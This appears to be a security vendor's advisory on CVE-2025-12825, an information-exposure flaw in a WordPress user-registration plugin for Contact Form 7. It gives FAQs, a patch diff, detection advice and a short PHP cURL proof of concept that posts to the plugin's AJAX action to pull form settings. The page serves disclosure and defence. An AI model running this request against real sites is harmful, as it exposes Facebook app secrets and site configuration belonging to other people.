What is CVE-2025-12825?

CVE-2025-12825 is a medium-severity vulnerability in the User Registration Using Contact Form 7 plugin for WordPress, affecting versions up to and including 2.5. It allows authenticated users with minimal privileges to access sensitive configuration data, including Facebook application secrets, due to a missing capability check.

How does this vulnerability work?

The vulnerability exists in the ‘get_cf7_form_data’ function, which lacks proper authorization checks. An attacker can send a POST request to the WordPress AJAX endpoint, triggering the function without authentication, and retrieve sensitive data such as form settings.

Who is affected by this vulnerability?

Any authenticated user with subscriber-level permissions or higher can exploit this vulnerability. This includes users who have logged into the WordPress site but do not have administrative privileges.

How can I check if my site is affected?

Check the version of the User Registration Using Contact Form 7 plugin installed on your WordPress site. If it is version 2.5 or earlier, your site is vulnerable to CVE-2025-12825.

How do I fix this vulnerability?

To mitigate this vulnerability, update the User Registration Using Contact Form 7 plugin to version 2.6 or later. The updated version includes necessary capability checks and nonce verification to secure the AJAX endpoint.

What if I cannot update the plugin immediately?

If an immediate update is not possible, consider disabling the plugin until an update can be applied. Additionally, review user permissions and restrict access to only trusted users.

What does a CVSS score of 5.3 indicate?

A CVSS score of 5.3 indicates a medium severity vulnerability. This means that while the risk is not critical, it can still lead to significant data exposure if exploited, particularly in environments with sensitive information.

What is the significance of the capability check?

Capability checks are essential for ensuring that only users with the appropriate privileges can access certain functions. In this case, the lack of a check allowed unauthorized access to sensitive data, highlighting the importance of implementing proper security measures.

How does the proof of concept demonstrate the vulnerability?

The proof of concept shows how an attacker can send a crafted POST request to the vulnerable AJAX endpoint without authentication. It illustrates the steps to retrieve sensitive form data, confirming the exploitability of the vulnerability.

What data can be exposed if this vulnerability is exploited?

Exploitation of CVE-2025-12825 can expose sensitive configuration data, including Facebook application IDs and secrets. This exposure could lead to unauthorized access to associated Facebook applications and potential data breaches.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : March 18, 2026

CVE-2025-12825: User Registration Using Contact Form 7 <= 2.5 – Authenticated (Subscriber+) Information Exposure (user-registration-using-contact-form-7)

CVE ID CVE-2025-12825

Plugin user-registration-using-contact-form-7

Severity Medium (CVSS 5.3)

CWE 862

Vulnerable Version 2.5

Patched Version 2.6

Disclosed January 15, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-12825:
This vulnerability is an authenticated information exposure flaw in the User Registration Using Contact Form 7 WordPress plugin, versions 2.5 and earlier. The flaw allows authenticated users with minimal privileges, such as subscribers, to retrieve sensitive plugin configuration data, including Facebook application secrets.

Atomic Edge research identifies the root cause as a missing capability check and nonce verification in the `fn_get_cf7_form_data` function. The vulnerable code in `/inc/class.zurcf7.php` registered the function to handle both `wp_ajax_get_cf7_form_data` and `wp_ajax_nopriv_get_cf7_form_data` AJAX actions (lines 41-42). This allowed unauthenticated requests. The function itself contained no authorization checks prior to processing the request and returning form data.

Exploitation involves sending a POST request to the standard WordPress AJAX endpoint, `/wp-admin/admin-ajax.php`, with the `action` parameter set to `get_cf7_form_data`. An attacker, even without authentication, could trigger this endpoint. The request must also include the `zurcf7_formid` parameter, which the function processes. Successful exploitation returns the plugin’s form settings data.

The patch in version 2.6 addresses the issue with three key changes. First, it removes the `wp_ajax_nopriv_get_cf7_form_data` hook in `/inc/class.zurcf7.php`, restricting the endpoint to authenticated users only. Second, it adds a capability check, requiring the `manage_options` privilege, which corresponds to an administrator role. Third, it implements a nonce check using `wp_verify_nonce` with the `zurcf7_get_cf7_form_data` action. The nonce is now generated and passed to the admin JavaScript via the `ajax_nonce` variable in `/inc/admin/class.zurcf7.admin.action.php`.

If exploited, this vulnerability exposes sensitive plugin configuration data. Atomic Edge analysis confirms this includes Facebook application IDs and secrets stored within form settings. Exposure of such secrets could allow an attacker to compromise associated Facebook applications, potentially leading to unauthorized API access, data leakage from connected services, or account takeover scenarios.

Differential between vulnerable and patched code

Code Diff

--- a/user-registration-using-contact-form-7/inc/admin/class.zurcf7.admin.action.php
+++ b/user-registration-using-contact-form-7/inc/admin/class.zurcf7.admin.action.php
@@ -60,7 +60,9 @@
 			}
 			// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Display check, not form processing
 			$post_type = isset( $_GET['post_type'] ) ? sanitize_text_field( wp_unslash( $_GET['post_type'] ) ) : '';
-			if( $post_type && (ZURCF7_POST_TYPE === $post_type) ){
+			// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Display check, not form processing
+			$page = isset( $_GET['page'] ) ? sanitize_text_field( wp_unslash( $_GET['page'] ) ) : '';
+			if( ( $post_type && (ZURCF7_POST_TYPE === $post_type) ) || ( $page && 'zurcf7_settings' === $page ) ){
 				wp_register_script( ZURCF7_PREFIX . '-admin-js', ZURCF7_URL . 'assets/js/admin.min.js', array( 'jquery-core' ), ZURCF7_VERSION, false );
 				wp_register_style( ZURCF7_PREFIX . '-admin-css', ZURCF7_URL . 'assets/css/admin.min.css', array(), ZURCF7_VERSION );

@@ -77,7 +79,7 @@
 					'zurcf7_acf_field_mapping' => __( '<h3>ACF Plugin Required</h3><p>ACF Plugin is required for ACF Field Mapping</p>', 'user-registration-using-contact-form-7' ),
 					'zurcf7_fb_signup_app_id_tool' => __( '<h3>App Id</h3><p>Please enter app id.</p>', 'user-registration-using-contact-form-7' ),
 					'zurcf7_fb_app_secret_tool' => __( '<h3>App Secret</h3><p>Please enter app secret.</p>', 'user-registration-using-contact-form-7' ),
-
+					'ajax_nonce' => wp_create_nonce( 'zurcf7_get_cf7_form_data' ),
 				);


--- a/user-registration-using-contact-form-7/inc/class.zurcf7.php
+++ b/user-registration-using-contact-form-7/inc/class.zurcf7.php
@@ -41,7 +41,6 @@

 			#get Contact form data in admin
 			add_action("wp_ajax_get_cf7_form_data", array($this,"fn_get_cf7_form_data"));
-			add_action("wp_ajax_nopriv_get_cf7_form_data", array($this,"fn_get_cf7_form_data"));

 		}

@@ -178,10 +177,22 @@
 		 *
 		 */
 		function fn_get_cf7_form_data(){
-		//Get current saved CF7 ID
+			// Check user capabilities - only allow users with manage_options capability
+			if ( ! current_user_can( 'manage_options' ) ) {
+				wp_send_json( array( 'response' => 'error', 'formtag' => '<option value="">Unauthorized access</option>' ) );
+				return;
+			}
+
+			// Verify nonce for additional security
+			if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'zurcf7_get_cf7_form_data' ) ) {
+				wp_send_json( array( 'response' => 'error', 'formtag' => '<option value="">Security check failed</option>' ) );
+				return;
+			}
+
+			//Get current saved CF7 ID
 			$zurcf7_formid = (get_option( 'zurcf7_formid')) ? get_option( 'zurcf7_formid') : "";

-			$html .= '<option value="">Select field</option>';
+			$html = '<option value="">Select field</option>';
 			if(!empty(sanitize_text_field($_POST['zurcf7_formid']))){  //phpcs:ignore

 				//get tag for specific tag
--- a/user-registration-using-contact-form-7/user-registration-cf7.php
+++ b/user-registration-using-contact-form-7/user-registration-cf7.php
@@ -3,7 +3,7 @@
  * Plugin Name: User Registration Using Contact Form 7
  * Plugin URL: https://wordpress.org/plugin-url/
  * Description: User Registration Using Contact Form 7 plugin provide the feature to register the user to the website using Contact Form 7.
- * Version: 2.5
+ * Version: 2.6
  * Author: ZealousWeb
  * Author URI: https://www.zealousweb.com/
  * Developer: The ZealousWeb Team
@@ -27,7 +27,7 @@
  */

 if ( !defined( 'ZURCF7_VERSION' ) ) {
-	define( 'ZURCF7_VERSION', '2.5' ); // Version of plugin
+	define( 'ZURCF7_VERSION', '2.6' ); // Version of plugin
 }

 if ( !defined( 'ZURCF7_FILE' ) ) {

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-12825 - User Registration Using Contact Form 7 <= 2.5 - Authenticated (Subscriber+) Information Exposure
<?php

$target_url = 'http://vulnerable-site.example.com';

// The vulnerable AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Prepare the POST data for the vulnerable action.
// The 'zurcf7_formid' parameter is required by the function, but can be empty.
$post_data = array(
    'action' => 'get_cf7_form_data',
    'zurcf7_formid' => '' // The function checks for this parameter.
);

// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing environments only
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check for errors
if (curl_errno($ch)) {
    echo 'cURL Error: ' . curl_error($ch) . "n";
} else {
    echo "HTTP Status: $http_coden";
    echo "Response Body:n";
    echo $response . "n";
    // The response is expected to be JSON containing form settings data.
    // A successful exploit on a vulnerable version will return data.
    // A patched version will return an 'error' response.
}

curl_close($ch);

?>

Frequently Asked Questions

What is CVE-2025-12825?
Description of the vulnerability
CVE-2025-12825 is a medium-severity vulnerability in the User Registration Using Contact Form 7 plugin for WordPress, affecting versions up to and including 2.5. It allows authenticated users with minimal privileges to access sensitive configuration data, including Facebook application secrets, due to a missing capability check.
How does this vulnerability work?
Mechanism of exploitation
The vulnerability exists in the ‘get_cf7_form_data’ function, which lacks proper authorization checks. An attacker can send a POST request to the WordPress AJAX endpoint, triggering the function without authentication, and retrieve sensitive data such as form settings.
Who is affected by this vulnerability?
Impacted user roles
Any authenticated user with subscriber-level permissions or higher can exploit this vulnerability. This includes users who have logged into the WordPress site but do not have administrative privileges.
How can I check if my site is affected?
Identifying vulnerable versions
Check the version of the User Registration Using Contact Form 7 plugin installed on your WordPress site. If it is version 2.5 or earlier, your site is vulnerable to CVE-2025-12825.
How do I fix this vulnerability?
Updating the plugin
To mitigate this vulnerability, update the User Registration Using Contact Form 7 plugin to version 2.6 or later. The updated version includes necessary capability checks and nonce verification to secure the AJAX endpoint.
What if I cannot update the plugin immediately?
Temporary mitigation strategies
If an immediate update is not possible, consider disabling the plugin until an update can be applied. Additionally, review user permissions and restrict access to only trusted users.
What does a CVSS score of 5.3 indicate?
Understanding the risk level
A CVSS score of 5.3 indicates a medium severity vulnerability. This means that while the risk is not critical, it can still lead to significant data exposure if exploited, particularly in environments with sensitive information.
What is the significance of the capability check?
Role of capability checks in security
Capability checks are essential for ensuring that only users with the appropriate privileges can access certain functions. In this case, the lack of a check allowed unauthorized access to sensitive data, highlighting the importance of implementing proper security measures.
How does the proof of concept demonstrate the vulnerability?
Example of exploitation
The proof of concept shows how an attacker can send a crafted POST request to the vulnerable AJAX endpoint without authentication. It illustrates the steps to retrieve sensitive form data, confirming the exploitability of the vulnerability.
What data can be exposed if this vulnerability is exploited?
Potential data leakage
Exploitation of CVE-2025-12825 can expose sensitive configuration data, including Facebook application IDs and secrets. This exposure could lead to unauthorized access to associated Facebook applications and potential data breaches.
How can I monitor for exploitation attempts?
Detecting unauthorized access
Monitor your server logs for unusual activity related to the AJAX endpoint, particularly POST requests to ‘/wp-admin/admin-ajax.php’ with the action parameter set to ‘get_cf7_form_data’. Implementing security plugins that log and alert on such activities can also help.

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